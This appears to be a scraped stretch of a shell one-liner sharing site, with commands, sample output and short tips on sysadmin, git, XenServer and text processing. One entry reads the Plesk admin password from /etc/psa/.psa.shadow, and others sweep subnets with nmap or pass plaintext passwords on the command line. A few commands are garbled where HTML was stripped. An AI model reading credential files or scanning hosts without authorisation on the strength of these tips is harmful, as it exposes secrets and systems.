Static Yubikey 2.2 Password Using Programming Slot 1 By default, slot 1 is used for OTP purposes and validates against the Yubikey servers. Running the command above will replace that. If you have a Yubikey 2 or above, you can change -1 to -2 and program the second slot with a strong static key. ethtool -S eth0 ethtool -S eth0 NIC statistics: Traffic stat on ethernet interface Traffic details on the Ethernet interface. defaults write com.macromates.textmate OakDefaultLanguage 17994EC8-6B1D-11D9-AC3A-000D93589AF6 Set default "New Page" as HTML in TextMate When you press "cmd+n" in TextMate, you can have "HTML" language as default document format... You can also define other languages too. You need to know the UUID of your language bundle. grep -hIr -m 1 :name ~/.mozilla/firefox/*.$USER/extensions | tr '<>=' '"""' | cut -f3 -d'"' | sort -u grep -hIr -m 1 :name ~/.mozilla/firefox/*.$USER/extensions | tr '<>=' '"""' | cut -f3 -d'"' | sort -u Adblock Plus Firebug It's All Text! lori (Life-of-request info) ScrapBook Secure Login Session Manager User Agent Switcher 1.) my profile ends with $USER not with .default 2.) only grep for the first occurrence because some extensions have the translated name also inside the install.rdf pvscan | awk '/name_of_vg/ {print $2}' | sed 's/[-|/|]/ /g' | cut -d " " -f7 Functions: awk cut sed Quickly check a device in a LVM volume group against multipath This is an easy way to quickly get a status for a device in multipath on SLES systems, as long as the server is configured based on Novell's standards, where multipathed disks are referred to by /dev/disk/by-... tree. Make sure to replace name_of_vg with your Volume Group name. gethostip -d hostname for i in $(find ~/.config/chromium/*/Extensions -name 'manifest.json'); do n=$(grep -hIr name $i| cut -f4 -d '"'| sort);u="https://chrome.google.com/extensions/detail/";ue=$(basename $(dirname $(dirname $i))); echo -e "$n:\n$u$ue\n" ; done RSS Live Links: https://chrome.google.com/extensions/detail/hcamnijgggppihioleoenjmlnakejdph Firebug Lite 1.3.0 beta for Google Chrome: https://chrome.google.com/extensions/detail/bmagokdooijbeehmkpknfglimnifench AdBlock: https://chrome.google.com/extensions/detail/gighmmpiobklfepjocnamgkkbiglidom Secure sites: https://chrome.google.com/extensions/detail/hllceldkphjbfpchpfmcgaeafheplfog Earthy: https://chrome.google.com/extensions/detail/fhflopcljabdklmedgglmkihdnongdaa Browser Button for AdBlock: https://chrome.google.com/extensions/detail/picdndbpdnapajibahnnogkjofaeooof Web Developer: https://chrome.google.com/extensions/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm LastPass: https://chrome.google.com/extensions/detail/hdokiejnpimakedhajhdlcegeplioahd ChromeMUSE - Multi-URL Shortener/Expander: https://chrome.google.com/extensions/detail/digfdjelalmeldlplgcapchelgnlkomc List your installed Chromium extensions (with url to each page) Gives you a list for all installed chrome (chromium) extensions with URL to the page of the extension. With this you can easy add a new Bookmark folder called "extensions" add every URL to that folder, so it will be synced and you can access the names from every computer you are logged in. ------------------------------------------------------------------------------------------------------------------ Only tested with chromium, for chrome you maybe have to change the find $PATH. In MySQL client, \P less -S Instead of dumping the entire query to the screen, it will use 'less -S' to handle pagination. This means you can move back and forward through the result set, and instead of wrapping rows at screen boundaries, the table will extend off the screen, and can be scrolled left and right with arrow keys. nc -z OR nc -zu # nc -zu 10.162.155.17 4670 Connection to 10.162.155.17 4670 port [udp/*] succeeded! test connection to a remote IP / port -z: Specifies that nc should just scan for listening daemons, without sending any data to them -u: Use UDP instead of the default option of TCP. alias viaco='task="$(basename "$(pwd)")"; if [ -f "$task.c" ]; then vi -c "set mouse=n" -c "set autoread" -c "vsplit $task.out" -c "split $task.in" -c "wincmd l" -c "wincmd H" $task.c; fi' Functions: alias vi Setup Vim environment for USACO coding 1. Get name of task by task=$(basename "$(pwd)") 2. Check whether "$task.c" exists as a file 3. open "$task.c", "$task.in", "task.out" in vim with such layout. ------------------------------- | | $task.in | | | | |$task.c |-----------------| | | $task.out | gsed -e :a -e 's/\(<\/[^>]*>\)/\1\n/g;s/\(
    \)/\1\n/g' page2.txt | sed -n '//p;s/\(.*\)<\/cite>/\1/g' >> output extract links from a google results page saved as a file From a saved page of google search results, split out all of the links for the results. Useful for creating apache rewrite rules from. elinks http://partmaps.org/era/unix/award.html Contents: * Useless Use of cat * Useless Use of kill -9 * Useless Use of echo * Useless Use of ls * * Useless Use of wc -l * Useless Use of grep | awk * Useless Use of Backticks * Useless Use of test * Assorted Other Gripes * Related Resources * Reconstructions of Randal's Form Letters Read the Useless Use of Cat Awards page Everyone on CLIFU needs to check this site out. Learn how to accomplish what you've been doing faster and more efficiently. F=~/$$.fifo;[ -p $F ] && rm $F;mkfifo $F;(( tail -n50 -s2 -f access_log error_log>$F )&);ccze -A < $F;rm $F [Tue May 18 14:19:24 2010] [error] [client 66.249] File does not exist: /www.askapache.com/ removed `/home/srot/17764.fifo' Functions: rm tail Color Highlighted Log Viewing with Tail, Fifo, and CCZE This is a nice way to view logs with ccze or any other program to view output. Using fifos is ideal. java -jar /path/to/filename.jar Launch a Java .jar App Use this to make a launcher for Java apps ( .jar files ) such as with jdownloader setxkbmap -option ctrl:nocaps Replace the Caps Lock key with Control Many non-IBM keyboards have the control key where the caps lock is in most keyboards. You'll appreciate this if you are a vi/vim user. perl -le 'print join ", ", map { chomp; $_ } <>' email@number.one, email@number.one, email@number.one, ... rows2columns joins multiple lines to create single line with comma separated values. for example if we have an email addresses one per line (copy&paste from spreadsheet) it will oputput one line with comman separated addresses to put it to email client. dhclient wlan0 && sbnt=$(ifconfig wlan0 |grep "inet addr" |cut -d ":" -f 2 | cut -d "." -f 1-3) && nmap $sbnt.0/24 -sP Autofind alive hosts on subnet upon connect This is helpful if you connect to several networks with different subnets such as 192 networks, 10 networks, etc. Cuts first three octets of ip from ifconfig command and runs nmap ping scan on that subnet. Replace wlan0 with your interface. Assumes class c network, if class b use: cut -d "." -f 1-2 and change nmap command accordingly. lynx --dump http://www.seeon.tv/channels| grep "/channels"|awk '{print $2}'|sort -u|while read links; do lynx --dump "$links"|awk '/view/ {print $2}'|sort -u; done Functions: awk grep read sort List Seeon.tv Available Video Channels This shows a list of channels from seeon.tv website to watch shows and movies du -ks * | sort -n 4 mvc_example.php 72 caseconverter 80 contact 248 hangman Current directory files and subdirectories ordered by size Very useful for finding the largest files and subdirectories at any given point. Any user can run it from current location just when need to know their largest files and subtdirectories from a certain point down as well. rar a -v[SIZE] [archivename] [files] Create a multi-part RAR archive For example: rar a -v10M nameofrar filestorar This will create an archive of the filestorar divided into 10MB volumes sudo chown -R user2:user2 /../../somedirectory Functions: chown sudo This will change the ownership of /../../somedirectory as well as all its subdirectories so they will be be owned by user2 - typically used when a directory is owned by root:root < tr ' \t' '\n' | tr -s '\n' > Puts words on new lines, removing additional newlines. ‹ First < 263 264 265 266 267 > Last › rm -R `ls | egrep -v 'dir1|dir2|file1'` Functions: egrep rm cat /etc/psa/.psa.shadow [hostname.com]# cat /etc/psa/.psa.shadow thisismylamepassword Retrieve Plesk Admin Password I'm sure almost everybody knows this by now. This command will pull the password for the admin login of any plesk machine. xml2asc < inputfile > outputfile $ echo "foo somegreekchars bar" | xml2asc foo αβγδ bar $ echo "foo αβγδ bar" | asc2xml foo somegreekchars bar encode/decode HTML entities For reverse, there's asc2xml asc2xml < entitiesfile > utf8file They come as a part of the html-xml-utils debian package. PS. Tried to submit sample data, but the site autoconverted the non ascii to html entities. So a bit of imagination is needed. mencoder mf://image1.jpg,image2.jpg,image3.jpg -mf w=800:h=600:fps=25:type=jpeg -ovc copy -oac copy -o output.avi create a motion jpeg (MJPEG) with the jpg file from current directory with mencoder grep -o "\(new \(\w\+\)\|\w\+::\)" file.php | sed 's/new \|:://' | sort | uniq -c | sort 1 parent 1 product_Item 1 promotion_Base 1 swc_Response 2 product_ViewHelper 2 product_ViewTransformer 4 promotion_Tab 5 site_Template 6 self Functions: grep sed sort uniq Analyse a PHP file for instantations and static calls This grabs all lines that make an instantation or static call, then filters out the cruft and displays a summary of each class called and the frequency. lynx -dump -head http://www.example.com/ Date: Tue, 31 Mar 2009 18:14:46 GMT Server: Apache/2.2.3 (CentOS) Last-Modified: Tue, 15 Nov 2005 13:24:10 GMT ETag: "b80f4-1b6-80bfd280" Content-Length: 438 Without the -dump option the header is displayed in lynx. You can also use w3m, the command then is w3m -dump_head http://www.example.com/ file /usr/bin/* | grep ELF | cut -d":" -f1 karmic@linux64:/home/karmic64/Test$ file /usr/bin/* | grep ELF | cut -d":" -f1 /usr/bin/a2p /usr/bin/aacplusenc /usr/bin/aconnect /usr/bin/acpi_fakekey /usr/bin/acpi_listen /usr/bin/addpart /usr/bin/addr2line /usr/bin/alsamixer /usr/bin/amdcccle /usr/bin/amidi /usr/bin/amixer /usr/bin/animate /usr/bin/aplay /usr/bin/aplaymidi /usr/bin/appres /usr/bin/apt-cache Functions: cut file grep Provide a list of all ELF binary objects (executable or libs) in a directory This is a dirty raw way to simply list ELF objects in a folder. The output is ready to be parsed i.e to the stripper or what else needs a path to an ELF object. gmetric -n $METRIC_NAME -v foo -t string -d 10 Remove an old gmetric statistic The -d flag sets the lifetime of a metric and defaults to 0 hence why old metrics continue to be graphed in the dashboard. Submitting a dummy value and short lifetime ensures that the metric is removed from the dashboard. echo capitalize | { dd bs=1 count=1 conv=ucase 2> /dev/null; cat ;} Functions: cat dd echo Capitalize the word with dd lsusb -v | grep -o "[0-9A-Z]{16}" 000A27001BB1BE3F Functions: grep lsusb Find iPod's fwguid This is a bit of a hack, but it will get your fwguid which is needed sometimes when using your iPod. cat video.ogg | nc -l -p 4232 & wget http://users.bshellz.net/~bazza/?nombre=name -O - & sleep 10; mplayer http://users.bshellz.net/~bazza/datos/name.ogg Functions: cat sleep wget Send and streamming video to web Is a simple script for video streaming a movie vlc $(curl -s http://twitter.com/statuses/user_timeline/18855500.rss|grep play|sed -ne '//s/^.*\(http.*\)<\/title/\1/gp'|awk '{print $1}') The sound of the urls being played to you. PlayTweets from the command line This will play the audio goodness posted up on PlayTweets via twitter right form the ever loving cmdline. You do not even need a twitter account. I hashed this out in a bit of a hurray as the kids need to get to sleep....I will be adding a loop based feature that will play new items as they come in...after what your are listening to is over. http://twitter.com/playTweets for more info on playtweets ioreg -lw0 | grep IODisplayEDID | sed "/[^<]*</s///" | xxd -p -r | strings -6 Functions: grep sed strings Show display type ac -d | awk '{h=int($NF); m=($NF-h)*60; s=int((m-int(m))*60); m=int(m); print $0" = "h"h "m"m "s"s "}' print statistics about users' connect time 'ac' is included in the package 'acct', which is described as "The GNU Accounting utilities for process and login accounting". Other interesting flags are: * print statistics for a specified user ac -d username * print statistics for all the users With my command, the output is also printed in a sexagesimal, more readable, style. for lib in `readelf -d /usr/bin/abiword | grep NEEDED | cut -f2 -d[ | cut -f1 -d]`; do [ -e /usr/lib/$lib ] && j=/usr/lib/$lib || j=`locate -l 1 $lib`; readlink -f $j ; done Functions: cut grep readlink Gather libraries used and needed by a binary echo "World Domination" > ~/.plan; finger $USER; Functions: echo finger Can be used to pimp the finger output. :) pgrep -c 'httpd|apache2' Count httpd processes this version is going to work on redhat/centos/suse AND ubuntu/debian systems for c in gcc bison dialog bc asdf; do if ! which $c >/dev/null; then echo Required program $c is missing ; exit 1; fi; done Functions: bc bison echo exit gcc which Check if commands are available on your system find . -name "*.py" -exec grep -n -H -E "^(import|from) math" {} \; Find all python modules that use the math module for kern in $(grep "initrd " /boot/grub/grub.conf|grep -v ^#|cut -f 2- -d-|sed -e 's/\.img//g'); do mkinitrd -v -f /boot/initrd-$kern.img $kern; done Recreate all initrd files Print free memory egrep -i " connected|card detect|primary dev" /var/log/Xorg.0.log Identifying Xorg video driver in use The above one liner can be used to determine what card/driver is Xorg currently using. For additional information, see http://goo.gl/mDnWu UUID="63b726a0-4c59-45e4-af65-bced5d268456"; echo ${UUID//-/} 63b726a04c5945e4af65bced5d268456 Remove the dashes from a UUID using bash search and replace. xe vm-list uuid ( RO) : 3f46db8b-1a7f-4a31-914a-dd1dcb49de96 power-state ( RO): running uuid ( RO) : c837ed94-ac96-5769-8efc-9d4d20a00a22 power-state ( RO): halted uuid ( RO) : 58a2d8bb-3957-c712-47ef-421dc618c274 uuid ( RO) : c2e856db-8aa0-bddd-0590-e77223992621 Shows all virtual machines in Citrix XenServer Citrix XenServer 5.6, can be piped to grep for more interesting output lsof -Pnl +M -i6 | grep 8080 ‹ First < 264 265 266 267 268 > Last › ps -eo args,%cpu | grep -m1 PROCESS | tr 'a-z-' ' ' | awk '{print $1}' Functions: awk grep ps tr find /path/to/dir -type f -exec grep \-H "search term" {} \; Find the files that contain a certain term Simple use of find and grep to recursively search a directory for files that contain a certain term. xe vm-copy vm="ABCServer" sr-uuid=24565487-accf-55ed-54da54993ade784a new-name-label="Copy of ABCServer" new-name-description="New Description" Copy a virtual machine on Citrix XenServer, optionally to a different storage repository sed 's/^[ \t]*//' < <file> > <file>.out; mv <file>.out <file> delete all leading whitespace from each line in file Similar commands, same origin. pgrep [-cflvx] [-d delimiter] [-n|-o] [-P ppid,...] [-g pgrp,...] [-s sid,...] [-u euid,...] [-U uid,...] [-G gid,...] [-t term,...] [pattern] pkill [-signal] [-fvx] [-n|-o] [-P ppid,...] [-g pgrp,...] [-s sid,...] [-u euid,...] [-U uid,...] [-G gid,...] [-t term,...] [pattern] sudo chown -R nobody:admin /Applications/XAMPP/xamppfiles/htdocs/ recursive permission set for xampp apache user nobody sed G $ sed G datascript.1 unset log unset label set autoscale Sed file spacing G option cause a file to be spacing line by line. awk 'BEGIN{dir=DIR?DIR:ENVIRON["PWD"];l=split(dir,parts,"/");last="";for(i=1;i<l+1;i++){d=last"/"parts[i];gsub("//","/",d);system("ls -ld \""d"\"");last=d}}' drwxr-xr-x 22 root root 4096 2009-10-21 23:30 / drwxr-xr-x 3 root root 4096 2009-10-20 13:33 /home drwxr-xr-x 54 luser luser 4096 2009-10-22 09:48 /home/luser Show current folder permission from /, useful for debugging ssh key permission Handled all within awk. Takes the value from $PWD and constructs directory structures and runs commands against them. The gsub() call is not necessary, but added for better visibility. If a variable DIR is given on the awk command-line, then that directory is used instead: awk -vDIR=$HOME/.ssh 'BEGIN{dir=DIR?...}' cat /proc/meminfo Get Memeory Info xe vm-import -h <host ip> -pw <yourpass> filename=./Ubuntu-9.1032bitPV.xva sr-uuid=<your SR UUID> Import a virtual machine with XenServer Imports a backed up or exported virtual machine into XenServer cd $(ls -ltr|grep ^d|head -1|sed 's:.*\ ::g'|tail -1) Functions: cd grep head ls sed tail change dir to n-th dir that you listed Replace the head -1 with head -n that is the n-th item you want to go to. Replace the head with tail, go to the last dir you listed. You also can change the parameters of ls. mvn install:install-file -Dfile=<path-to-file> -DgroupId=<group-id> -DartifactId=<artifact-id> -Dversion=<version> -Dpackaging=<packaging> -DgeneratePom=true Maven Install 3rd party JAR If you have a JAR that is not in a central Maven repository this will add it to your repository. $ssh-copy-id ptaduri@c3pusas1 parallel -a <(seq 0 20) mkdir /tmp/dir1/{} Functions: mkdir seq hashalot -s salt -x sha256 <<<"test" 4edf07edc95b2fdcbcaf2378fd12d8ac212c2aa6e326c59c3e629be3039d6432 It's inspired by Generate MD5 hash for a string() [ http://goo.gl/ObCrl ], you need to install hashalot(very small) first. Salt is not necessary. There is an optional command: sha256 -s salt -x <<<"test" alias mplayer='mplayer -stop-xscreensaver' #mplayer x.ogm CommandLine: '-stop-xscreensaver' '-v' 'x.ogm' just use build in option. host google.com|awk '{print $NF}' Functions: awk host ggdG deletes to the end of the buffer cat /dev/sda | pv -r > /dev/null [55.6MB/s] Change your drive letter as you wish. Using pv command for speed detect.First of all you must install pv command for usage. find . -type f -iname '*.java.orig' -delete Recursively remove all '.java.orig' files (scalable) find . -printf "%T@ %p\n" | sed -e 1d | while read ts fn; do ts=${ts%.*}; if [ $ts -ge ${gts:-0} ]; then gts=$ts; echo `date -d @$gts` $fn; fi; done Functions: echo find read sed :%s/^V^M//g function __construct($livraison=NULL)^M {^M }^M after: function __construct($livraison=NULL) Remove ^M characters at end of lines in vi Whereas ^V is CTRL-V. converts a dos file to unix by removing 0x13 characters ifconfig eth0 | perl -ne 'print $1 if m/addr:((?:\d+\.){3}\d+)/' find . -type d -exec chmod XXXX {} \; change current directory permissions and only sub-directories recursively (not files) for I in `find . -name "*.php"`; do sed -i "s/old name/new name/g" $I; done Let's say you have a web site So you have a web site and you've plastered your significant other's name all over it. But you broke up with them and have some new love in your life. How do you find all those instances of their name and replace them? ‹ First < 265 266 267 268 269 > Last › cat /proc/acpi/battery/BAT1/info battery technology: rechargeable design capacity warning: 100 mAh capacity granularity 1: 32 mAh capacity granularity 2: 32 mAh model number: AS07B31 battery type: LION OEM info: SANYO grep -F capacity: Battery number might be BAT0 instead of BAT1. Just run cd /proc/acpi/battery; ls and find out what folder is in that directory and replace that name with BAT1 curl -s http://www.last.fm/user/$LASTFMUSER | grep -A 1 subjectCell | sed -e 's#<[^>]*>##g' | head -n2 | tail -n1 | sed 's/^[[:space:]]*//g' Fetch current song from last.fm git branch -a | grep "remotes/origin" | grep -v master | awk -F / '{print $3}' | xargs -I % git clone -b % git://github.com/jamesotron/DevWorld-2010-Cocoa-Workshop % Cloning into Contacts... remote: Counting objects: 86, done. remote: Compressing objects: 100% (84/84), done. remote: Total 86 (delta 35), reused 0 (delta 0) Receiving objects: 100% (86/86), 57.91 KiB, done. Resolving deltas: 100% (35/35), done. Cloning into ContactsApp... Cloning into FirstCmdLine... Cloning into Graphics... Cloning into Touch... Clone all remote branches of a specific GitHub repository TIME=$( { time redis-cli PING; } 2>&1 ) ; echo $TIME | awk '{print $3}' | sed 's/0m//; s/\.//; s/s//; s/^0.[^[1-9]*//g;' Functions: awk echo sed time Time redis ping in thousands of a second. Outputs the real time it takes a Redis ping to run in thousands of a second without any proceeding 0's. Useful for logging or scripted action. ((x++)) increment a bash variable cat somefile.css | awk '{gsub(/{|}|;/,"&\n"); print}' >> uncompressed.css Uncompress a CSS file Ever compress a file for the web by replacing all newline characters with nothing so it makes one nice big blob? It is a great idea, however what about when you want to edit that file? ...Serious pain in the butt. I ran into this today in that my only copy of a CSS file was "compressed" with no newlines. I whipped this up and it converted back into nice human readable CSS :-) It could be nicer, but it does the job. watch 'dmesg | tail -15' Functions: tail watch Monitor the Kernel Ring Buffer Useful with new unknown devices or just monitoring, probably useful for the sysadmin. Updates every 2 seconds. More here: http://linuxclisecurity.blogspot.com/2009/12/monitor-kernel-ring-buffer.html. df /media/mountpoint |egrep -o '^[/a-z0-9]*' Functions: df egrep Shorter way to find the device for a given mountpoint lynx "futz.me/xxx hey this is a test" You receive an email or SMS or Both with the message "Hey this is a test". Where "xxx" is your futz.me username of course. futz.me - Send yourself notes from the command line Allows you to send yourself notes from the commandline and receive them via email or text message. Also lets you send pics from the web, pics from your computer, and tweets directly to twitter. All without having to log in Ever. echo "1 2 3+p" | dc setxkbmap us Restore the keyboard for qwerty users. Restores the keyboard so your partner who expects the keys to correspond to what they're labelled can type (in qwerty). awk 'BEGIN { ARGV[ARGC++]=ARGV[ARGC-1] } NR!=FNR { if(num==0) num=NR-1; if(FNR<num) {print} else { ORS=""; print } } ' abc1.txt > abc2.txt for i in $(chkconfig --list | grep "4:on" | awk {'print $1'}); do chkconfig --level 4 "$i" off; done Functions: awk chkconfig grep turn off all services in specific runlevel works in fedora, centos and presumably other distros that use chkconfig apt-cache search someregex search package descriptions (apt) Search the names and descriptions of all available packages and prints out the name and the short description. watch -n 0.5 ssh [user]@[host] mysqladmin -u [mysql_user] -p[password] processlist | tee -a /to/a/file Functions: ssh tee watch Watch mysql processlist on a remote host Locally watch MySQL process list update every 5s on a remote host. While you watch pipe to a file. The file out put is messy though but hey at least you have a history of what you see. genpass() { local h x y;h=${1:-8};x=( {a..z} {A..Z} {0..9} );y=$(echo ${x[@]} | tr ' ' '\n' | shuf -n$h | xargs);echo -e "${y// /}"; } make password randomly, default 8 char gwenview `wget -O - http://xkcd.com/ | grep 'png' | grep '<img src="http://imgs.xkcd.com/comics/' | sed s/title=\".*//g | sed 's/.png\"/.png/g' | sed 's/<img src=\"//g'` [hunterm@saturn ~ )> gwenview `wget -O - http://xkcd.com/ | grep 'png' | grep '<img src="http://imgs.xkcd.com/comics/' | sed s/title=\".*//g | sed 's/.png\"/.png/g' | sed 's/<img src=\"//g'` --2010-08-24 18:20:34-- http://xkcd.com/ Resolving xkcd.com... 72.26.203.99 Connecting to xkcd.com|72.26.203.99|:80... connected. Length: 7654 (7.5K) [text/html] Saving to: ?STDOUT? 100%[=======================================================================================================================>] 7,654 --.-K/s in 0.08s 2010-08-24 18:20:34 (99.0 KB/s) - written to stdout [7654/7654] Connecting to deprecated signal QDBusConnectionInterface::serviceOwnerChanged(QString,QString,QString) gwenview(13369)/kdeui (kdelibs): Attempt to use QAction "edit_redo" with KXMLGUIFactory! gwenview(13369)/kdeui (kdelibs): Attempt to use QAction "edit_undo" with KXMLGUIFactory! gwenview(13369)/kio (KIOJob) KIO::TransferJob::slotMimetype: mimetype() emitted again, or after sending first data!; job URL = KUrl("http://imgs.xkcd.com/comics/i_dont_want_directions.png") gwenview(13369)/kdecore (services) KMimeTypeFactory::parseMagic: Now parsing "/usr/share/mime/magic" gwenview(13369)/kdecore (services) KMimeTypeFactory::parseMagic: Now parsing "/home/hunterm/.local/share/mime/magic" gwenview(13369)/kdecore (KConfigSkeleton) KCoreConfigSkeleton::writeConfig: Output the html from xkcd's index.html, filter out the html tags, and then view it in gwenview. /System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend Quickly switch to login window (#OSX) add-apt-repository [REPOSITORY] Add repository in source list without editing sources.list add-apt-repository "deb http://archive.canonical.com/ lucid partner" awk -F $'\t' '{printf $1 LS $2 LS $3 LS $4 LS $5; for (i = 7; i < NF; i++) printf $i "\t"; printf "\n--\n";}' LS=$'\n' 'Ad report.tsv' | column -t -s $'\t' Functions: awk column printf collapse first five fields of Google Adwords export .tsv file into a single field This script collapses the first five columns of each row into one single multi-line text cell, for console output or direct send to printer. for i in {1..15}; do echo $i; done for loop, counting forward for backward The brace expansion also allows you to count backward: for i in {15..1}; do echo $i; done You can also use this construct to create new file or new directory: mkdir dir{1..3} # Same as mkdir dir1 dir2 dir3 wget -q -O - 'http://wap.weather.gov.hk/' | sed -r 's/<[^>]+>//g;/^UV/q' | grep -v '^$' HK Observatory At 10 AM 29'C,75% UV Index: 4 get Hong Kong weather infomation from HK Observatory From Hong Kong Observatory wap site ;) wget -q -O - 'http://wap.weather.gov.hk/' | sed -r 's/<[^>]+>//g;/^UV/q' | tail -n4 Functions: sed tail wget "get Hong Kong weather infomation from HK Observatory From Hong Kong Observatory wap site ;)" other one showed alot of blank lines for me sudo mount -t cifs -o credentials=/path/to/credenials //hostname/sharename /mount/point mounts a samba share on a remote machine using a credentials file that can be in a file tht is not accessable by other users the file will look like: username="username" password="password" best option i belive ‹ First < 266 267 268 269 270 > Last › find -maxdepth 1 -type f -name "*.7z" -exec 7zr e '{}' ';' Use find's built-in ability to call programs. find -maxdepth 1 -type f -name "*.7z" -print0 | xargx -0 -n 1 7zr e would work, too. setserial -g /dev/ttyS[0-9]* | grep -v "unknown" Get the available physical ports and their information test $((RANDOM%2)) -eq 0 $ for i in seq 1 $(seq 4); do test $((RANDOM%2)) -eq 0; echo $?; done Succeed or fail randomly (Schr?dinger's code) Can be used to test error handling alias somafm='read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls' Bash Alias That Plays Music from SomaFM This is the alias command that I discussed in my prior release which you can add to your ~/.bashrc. You can find future releases of this and many more scripts at the teachings of master denzuko - denzuko.co.cc. perl -pi -e "s/\r/\n/g" <file> Replace DOS character ^M with newline using perl inline replace. wget --spider -o wget.log -e robots=off --wait 1 -r -p http://www.example.com check broken links using wget as a spider This will visit recursively all linked urls starting from the specified URL. It won't save anything locally and it will produce a detailed log. Useful to find broken links in your site. It ignores robots.txt, so just use it on a site you own! find . -name '*.java' -o -name '*.xml' | grep -v '\.svn' | xargs wc -l 123 ./src/java/com/company/app/service/Foo.java 42 ./test/java/com/company/app/service/FooTests.java 165 total Count the lines of source code in directory, ignoring files in generated by svn There's nothing particularly novel about this combination of find, grep, and wc, I'm just putting it here in case I want it again. read -s PASS; echo $PASS | convert sensitive.jpg -encipher - -depth 8 png24:hidden.png encrypt sensitive image using password sudo port installed | grep -v 'active\|The' | xargs sudo port uninstall Functions: grep sudo xargs Uninstall all MacPorts that are no longer active squidclient mgr:info | grep "file desc" [root@abraxas ~]# squidclient mgr:info | grep "file desc" Shows useful informations about file descriptors in Squid web proxy makeself <archive_dir> <file_name> <label> self-extractable archives Used by virtualbox and others to create '.run' file. function sshdel { perl -i -n -e "print unless (\$. == $1)" ~/.ssh/known_hosts; } $ sshdel 30 < removes 30th line from the known_hosts file in ~/.ssh > creates a bash function to remove certain lines from SSH known_hosts file sometimes you got conflicts using SSH (host changing ip, ip now belongs to a different machine) and you need to edit the file and remove the offending line from known_hosts. this does it much easier. Use history -S in your .logout file Save and merge tcsh history across windows and sessions That's the key part. I got this from http://www.macosxhints.com/article.php?story=20070715091413640. See that article for other other, more basic, tcsh-specific history-related settings. echo "sed -e"|perl -pe 's/sed -e/perl -pe/' [root@bigdaddy ~]# echo "sed -e"|perl -pe 's/sed -e/perl -pe/' perl -pe use perl instead of sed Replace sed regular expressions with perl patterns on the command line. The sed equivalent is: echo "sed -e"|sed -e 's/sed -e/perl -pe/' cat file | tr -d "\n" This command deletes the "newline" chars, so its output maybe unusable :) rm *[!teste0,teste1,teste2] teste0 teste1 teste2 teste3 teste4 teste5 teste6 teste7 teste8 teste9 $ rm *[!teste0,teste1,teste2] teste0 teste1 Remove all arquives except the list. Can't have space between the commas. find . -type f -print0 | xargs -0r awk '/^\xEF\xBB\xBF/ {print FILENAME} {nextfile}' Functions: awk find xargs recursively detecting files with a BOM grep -w /media/KINGSTON /proc/mounts | cut -d " " -f /dev/sdc1 less ressources (processes) needed find . -type f -exec sed -i -e '1s/^\xEF\xBB\xBF//' {} \; recursively remove BOM awk 'BEGIN{ORS=""}NR!=1&&FNR==1{print "\n"}{print}END{print "\n"}' *.txt $ cat a.txt line3 $ cat b.txt baz $ awk 'BEGIN{ORS=""}NR!=1&&FNR==1{print "\n"}{print}END{print "\n"}' a.txt b.txt line1line2line3 foobarbaz output one file per line Problem: you want to output one line per file. you can't just 'tr -d' because you want one line per file and you don't want to use a loop. Solution: use awk to print each line without the record separator and a newline after each file. plink lyu0@mysshserver -pw 123456 plink ssh connect gst-launch v4l2src Enable V4l2 Webcams Cheese or other webcam software not working? Try this. ls | grep -vi pattern List files that DO NOT match a pattern find -maxdepth 1 -mtime 0 -type f Then pipe to 'xargs ls' for a familiar listing, possibly using find's -print0 and xarg's -0 options. scselect <location> Select MacOSX Network Location Use this command to change your network location from the OSX command line. ‹ First < 267 268 269 270 271 > Last › sudo rpm -if "http://rpm_server/rpm_repo/this-app.rpm" Functions: rpm sudo Install a remote RPM find . -maxdepth 1 -type f| xargs sha1sum | sed 's/^\(\w*\)\s*\(.*\)/\2 \1/' | while read LINE; do mv $LINE; done Functions: find mv read sed sha1sum xargs Rename all the files in the current directory into their sha1sum bored of listing files with ls wanna see them in file browser in gnome try this when working under a cli sometime you need to list the files with ls but u can open gnome file browser with the command 'gnome-open .' under current directory curl -D - -X POST -H 'Content-type: text/xml' -d @XML http://remote_server:8080/web-service/soap/WSName Call remote web service Use curl to invoke remote web service, where the file 'XML' is the soap payload sudo find / -type f | perl -MFile::Basename -ne '$counts{dirname($_)}++; END { foreach $d (sort keys %counts) {printf("%d\t%s\n",$counts{$d},$d);} }'|sort -rn | tee /tmp/sortedfilecount.out | head 2958 /var/www/vhosts/example.com/dir1 2259 /usr/share/man/man3 1283 /var/www/vhosts/example.com/dir2 1124 /usr/share/man/man3p 1091 /usr/share/man/man1 861 /var/www/vhosts/example.com/dir3 763 /usr/bin 717 /var/www/vhosts/example.com/dir4 Functions: find perl sort sudo tee Find directories with lots of files in them Find which directories on your system contain a lot of files. Edit: much shorter and betterer with -n switch. $cd /usr/local/ $echo !$ /usr/local/ using "!$" will save another ton of typing than 'ALT+.' or ' .' LANG=fr_FR@euro Restore accents in vi & others French uses accents (???...) which may be badly displayed on computers with the wrong default character set. This command may help (sometimes) git ls-files | while read i; do git blame $i | sed -e 's/^[^(]*(//' -e 's/^\([^[:digit:]]*\)[[:space:]]\+[[:digit:]].*/\1/'; done | sort | uniq -ic | sort -nr Functions: read sed sort uniq You'll run into trouble if you have files w/ missing newlines at the end. I tried to use PAGER='sed \$q' git blame and even PAGER='sed \$q' git -p blame to force a newline at the end, but as soon as the output is redirected, git seems to ignore the pager. git grep "search for something" $(git log -g --pretty=format:%h -S"search for something") 018dcc7:library/My/View/Helper/JQuery/AjaxPagination.php:$('#progressor').remove(); 018dcc7:public/themes/default/css/aaa.css:#progressor { 5a3ea4f:library/My/View/Helper/JQuery/AjaxPagination.php:$('#progressor').remove(); 5a3ea4f:public/themes/default/css/aaa.css:#progressor { ec71299:library/My/View/Helper/JQuery/AjaxPagination.php:$('#progressor').remove(); ec71299:public/themes/default/css/aaa.css:#progressor { Search git repo for specified string Based on: http://stackoverflow.com/questions/746684/how-to-search-through-all-commits-in-the-repository It would be good if anyone can shorten this to eliminate the duplicate query string. M=bob@example.com; echo "Email message" | mutt -s "Email Subject" $M Send an email using the mutt email client It's very similar to this thread: http://www.commandlinefu.com/commands/view/4317/send-a-local-file-via-email rtfm() { help $@ || man $@ || open "http://www.google.com/search?q=$@"; } Simple edit to work for OSX. Now just add this to your ~/.profile and `source ~/.profile` iptables -A INPUT -s 65.55.44.100 -j DROP Block an IP address Thanks to http://www.cyberciti.biz/faq/how-do-i-block-an-ip-on-my-linux-server/ ls -trF | grep -v \/ | tail -n 1 $ ls -trF | grep -v \/ | tail -n 1 ramonroche.sh* Functions: grep ls tail Sort by time and Reverse to 